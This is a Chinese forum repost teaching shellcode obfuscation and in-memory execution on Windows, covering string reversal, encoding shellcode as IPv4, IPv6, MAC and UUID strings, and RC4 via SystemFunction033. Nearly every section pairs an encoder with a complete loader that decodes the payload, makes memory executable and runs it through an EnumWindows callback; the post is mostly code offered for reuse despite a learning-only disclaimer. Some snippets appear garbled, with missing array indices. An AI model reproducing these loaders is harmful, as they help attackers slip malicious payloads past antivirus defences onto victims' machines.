本帖最后由 margin 于 2023-4-27 23:22 编辑
Shellcode encryption (qq.com)
前言由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习) 反转字符串将字符串整个反转,然后再加载的时候从尾部进行加载,我们可以利用python来进行反转 import sys
if(len(sys.argv) != 2):
print("usage:\n python3 \"asdasd\"")
else:
str = sys.argv[1]
str = str[::-1]
print(str)
先申请一个内存空间,然后利用下面的循环从尾部开始读取,然后赋值给temp char* temp = (char*)VirtualAllocEx(GetCurrentProcess(), NULL, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
for (int i = strlen(buf1) - 1; i >= 0; i--)
{
temp[p++] = buf1;
}
#include <windows.h>
#include <iostream>
using namespace std;
int main(int argc, char* argv[]) {
char buf1[] = "";
unsigned int char_in_hex;
unsigned int iterations = strlen(buf1);
unsigned int memory_allocation = strlen(buf1) / 2;
int p = 0;
char* temp = (char*)VirtualAllocEx(GetCurrentProcess(), NULL, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
for (int i = strlen(buf1) - 1; i >= 0; i--)
{
temp[p++] = buf1;
}
char* buf = (char*)temp;
for (int i = 0; i < iterations - 1; i++) {
sscanf_s(buf + 2 * i, "%2X", &char_in_hex);
buf = (char)char_in_hex;
}
LPVOID Address = VirtualAllocEx(GetCurrentProcess(), NULL, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
memcpy(Address, buf, memory_allocation);
DWORD pflOldProtect = 0;
VirtualProtectEx(GetCurrentProcess(), Address, memory_allocation, PAGE_EXECUTE, &pflOldProtect);
EnumWindows((WNDENUMPROC)Address, NULL);
return 0;
}
IPV4内存加载IPv4是一种无连接的协议,操作在使用分组交换的链路层(如以太网)上。此协议会尽最大努力交付数据包,意即它不保证任何数据包均能送达目的地,也不保证所有数据包均按照正确的顺序无重复地到达。 IPv4使用32位(4字节)地址,因此地址空间中只有4,294,967,296(232)个地址。 我们可以利用RtlIpv4AddressToStringA函数将shellcode转换为ipv4的地址,然后利用RtlIpv4StringToAddressA函数将其转换回去,执行我们的代码 RtlIpv4AddressToStringA函数将 IPv4 地址转换为 Internet 标准点十进制格式的字符串。 NTSYSAPI PSTR RtlIpv4AddressToStringA(
[in] const in_addr *Addr,
[out] PSTR S
);
第一个参数就是我们需要转换的数据,第二个参数就是用于存储转换后的数据,这里我用c++写的(网上用的是python写的) #include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
using namespace std;
int main(int argc, char* argv[]) {
char buf[] = "";
char* p = buf;
char ip_str[sizeof(buf)];
cout << "const char* buf[] = {";
for (int i = 0; i <= (sizeof(buf) - 1) / 4; i++) {
RtlIpv4AddressToStringA((const IN_ADDR*)&(*p), ip_str);
p += 4;
if (i == (sizeof(buf) - 1) / 4) {
cout << "\"" << ip_str << "\"";
}
else {
cout << "\"" << ip_str << "\",";
}
}
cout << "};";
return 0;
}
RtlIpv4StringToAddressA将 IPv4 地址的字符串表示形式转换为二进制 IPv4 地址 NTSYSAPI NTSTATUS RtlIpv4StringToAddressA(
[in] PCSTR S,
[in] BOOLEAN Strict,
[out] PCSTR *Terminator,
[out] in_addr *Addr
);
第一个参数就是接收需要转换的字符,二三个参数填默认即可,第四个参数是一个指针,其中存储 IPv4 地址的二进制表示形式。 代码逻辑也很简单,首先申请一块内存地址,然后for循环RtlIpv4StringToAddressA函数对其进行转换,最后更改前面申请的内存区域的内存保护常量 #include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;
int main() {
const char* buf[] = { 0 };
PCSTR lTerminator = NULL;
DWORD pflOldProtect = 0;
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_READWRITE);
DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
int init = sizeof(buf) / sizeof(buf[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)buf, FALSE, &lTerminator, (in_addr*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)", buf, STATUS, GetLastError());
return FALSE;
}
ptr += 4;
}
VirtualProtect(alloc_mem, sizeof(buf), PAGE_EXECUTE, &pflOldProtect);
EnumWindows((WNDENUMPROC)alloc_mem, NULL);
return 0;
}
IPV6内存加载IPv6是英文“Internet Protocol Version 6”(互联网协议第6版)的缩写,是互联网工程任务组(IETF)设计的用于替代IPv4的下一代IP协议,其地址数量号称可以为全世界的每一粒沙子编上一个地址 [1] 。 这里是用的冒分十六进制 格式为X:X:X:X:X:X:X:X,其中每个X表示地址中的16b,以十六进制表示,例如: ABCD:EF01:2345:6789:ABCD:EF01:2345:6789 和上面IPV4差不多只是函数变换了 #include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
using namespace std;
int main(int argc, char* argv[]) {
char buf[] = "";
char* p = buf;
char ip_str[sizeof(buf)];
cout << "const char* buf[] = {";
for (int i = 0; i <= (sizeof(buf) - 1) / 16; i++) {
RtlIpv6AddressToStringA((const in6_addr*)&(*p), ip_str);
p += 16;
if (i == (sizeof(buf) - 1) / 16) {
cout << "\"" << ip_str << "\"";
}
else {
cout << "\"" << ip_str << "\",";
}
}
cout << "};";
return 0;
}
我们可以使用如下进行加载执行 #include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;
int main() {
const char* buf[] = { 0 };
PCSTR lTerminator = NULL;
DWORD pflOldProtect = 0;
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf)*16, MEM_COMMIT, PAGE_READWRITE);
DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
int init = sizeof(buf) / sizeof(buf[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS STATUS = RtlIpv6StringToAddressA((PCSTR)buf, &lTerminator, (in6_addr*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)", buf, STATUS, GetLastError());
return FALSE;
}
ptr += 16;
}
VirtualProtect(alloc_mem, sizeof(buf) * 16, PAGE_EXECUTE, &pflOldProtect);
cout << sizeof(buf) * 16 << endl;
EnumWindows((WNDENUMPROC)alloc_mem, NULL);
return 0;
}
MAC实现内存加载MAC地址也叫物理地址、硬件地址,由网络设备制造商生产时烧录在网卡的EPROM一种闪存芯片,通常可以通过程序擦写。IP地址与MAC地址在计算机里都是以二进制表示的,IP地址是32位的,而MAC地址则是48位(6个字节)。 RtlEthernetAddressToStringANTSYSAPI PSTR RtlEthernetAddressToStringA(
[in] const DL_EUI48 *Addr,
[out] PSTR S
);
第一个参数二进制格式的以太网地址,第二个参数用于存储以太网地址的NULL终止字符串表示形式,大小应足以容纳至少 18 个字符。 和上面的差不多啊,因此加密代码也较为简单,但是需要注意 6个字节转换一个mac值,\x00是一个字节,当使用该函数后6个字节会变成18-1(\x00)个字节,即17个字节,当剩余字节数不满6个需要添加\x00补充字节数,必须将全部的shellcode全部转化为mac值 #include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
using namespace std;
int main(int argc, char* argv[]) {
char buf[] = "";
char* p = buf;
char ip_str[sizeof(buf)];
cout << "const char* buf[] = {";
for (int i = 0; i <= (sizeof(buf) - 1) / 6; i++) {
RtlEthernetAddressToStringA((const DL_EUI48*)&(*p), ip_str);
p += 6;
if (i == (sizeof(buf) - 1) / 6) {
cout << "\"" << ip_str << "\"";
}
else {
cout << "\"" << ip_str << "\",";
}
}
cout << "};";
return 0;
}
RtlEthernetStringToAddressA我们使用此函数将MAC值从字符串形式转为二进制格式 NTSYSAPI NTSTATUS RtlEthernetStringToAddressA(
[in] PCSTR S,
[out] PCSTR *Terminator,
[out] DL_EUI48 *Addr
);
第一个参数接收需要转换的数据,第二个参数用于接收指向终止转换字符串的字符的指针,第三个参数用于存储以太网 MAC 地址的二进制表示形式。 代码加载的思路也很简单,先申请一块内存空间,然后循环RtlEthernetStringToAddressA函数对其进行转换,最后修改内存保护常量。 #include <windows.h>
#include <ip2string.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;
int main() {
const char* buf[] = { 0 };
PCSTR lTerminator = NULL;
DWORD pflOldProtect = 0;
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf)*6, MEM_COMMIT, PAGE_READWRITE);
DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
int init = sizeof(buf) / sizeof(buf[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS STATUS = RtlEthernetStringToAddressA((PCSTR)buf, &lTerminator, (DL_EUI48*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlEthernetStringToAddressA failed in %s result %x (%u)", buf, STATUS, GetLastError());
return FALSE;
}
ptr += 6;
}
VirtualProtect(alloc_mem, sizeof(buf)*6, PAGE_EXECUTE, &pflOldProtect);
EnumWindows((WNDENUMPROC)alloc_mem, NULL);
return 0;
}
UUID实现内存加载通用唯一识别码(UUID),是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。 python中有UUID的模块 import uuid
buf = b""
list = []
for i in range(len(buf)//16):
b = uuid.UUID(bytes_le=buf[i*16:16+i*16])
list.append(str(b))
print(str(list).replace("'", "\"").replace("[","{").replace("]","}") + ";")
UuidFromStringA我们可以使用此函数将其写入执行 RPC_STATUS UuidFromStringA(
RPC_CSTR StringUuid,
UUID *Uuid
);
第一个参数指向UUID的字符串表示形式的指针,第二个参数以二进制形式返回指向UUID的指针。 逻辑也是很简单 #include <windows.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;
int main() {
const char* buf[] = { 0 };
PCSTR lTerminator = NULL;
DWORD pflOldProtect = 0;
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf) * 16, MEM_COMMIT, PAGE_READWRITE);
DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
int init = sizeof(buf) / sizeof(buf[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS STATUS = UuidFromStringA((RPC_CSTR)buf, (UUID*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlEthernetStringToAddressA failed in %s result %x (%u)", buf, STATUS, GetLastError());
return FALSE;
}
ptr += 16;
}
VirtualProtect(alloc_mem, sizeof(buf)*16, PAGE_EXECUTE, &pflOldProtect);
EnumWindows((WNDENUMPROC)alloc_mem, NULL);
return 0;
}
SystemFunction033这个函数能够通过RC4加密方式对内存区域进行加密/解密 函数原型 struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} _data, key;
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring* memoryRegion,
struct ustring* keyPointer
);
加密实现 #include "function.h"
int main() {
char _key[] = "asadsasdasasd";
unsigned char buf[] = { 0 };
key.Buffer = (PUCHAR)(&_key);
key.Length = sizeof(key);
_data.Buffer = (PUCHAR)buf;
_data.Length = sizeof(buf);
SystemFunction033(&_data, &key);
printf("unsigned char buf[] = {");
for (int i = 0; i < _data.Length; i++) {
if (i == _data.Length - 1) {
printf("0x%02x", _data.Buffer);
}
else
{
printf("0x%02x, ", _data.Buffer);
}
}
printf("};");
}
后面可以SystemFunction033进行解密然后执行(具体分析可以看参考链接) #include "function.h"
int main() {
DWORD pflOldProtect = 0;
char _key[] = "alphaBetagamma";
unsigned char buf[] = { 0 };
key.Buffer = (PUCHAR)(&_key);
key.Length = sizeof(key);
_data.Buffer = (PUCHAR)buf;
_data.Length = sizeof(buf);
SystemFunction033(&_data, &key);
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_READWRITE);
memcpy(alloc_mem, buf, sizeof(buf));
VirtualProtect(alloc_mem, sizeof(buf), PAGE_EXECUTE_READWRITE, &pflOldProtect);
EnumWindows((WNDENUMPROC)alloc_mem, NULL);
}
参考https://learn.microsoft.com/zh-cn/windows/win32/api/ip2string/nf-ip2string-rtlipv6addresstostringa https://learn.microsoft.com/zh-c ... dce-uuidfromstringa https://osandamalith.com/2022/11 ... temfunction032-033/ 若有侵权请联系删除
|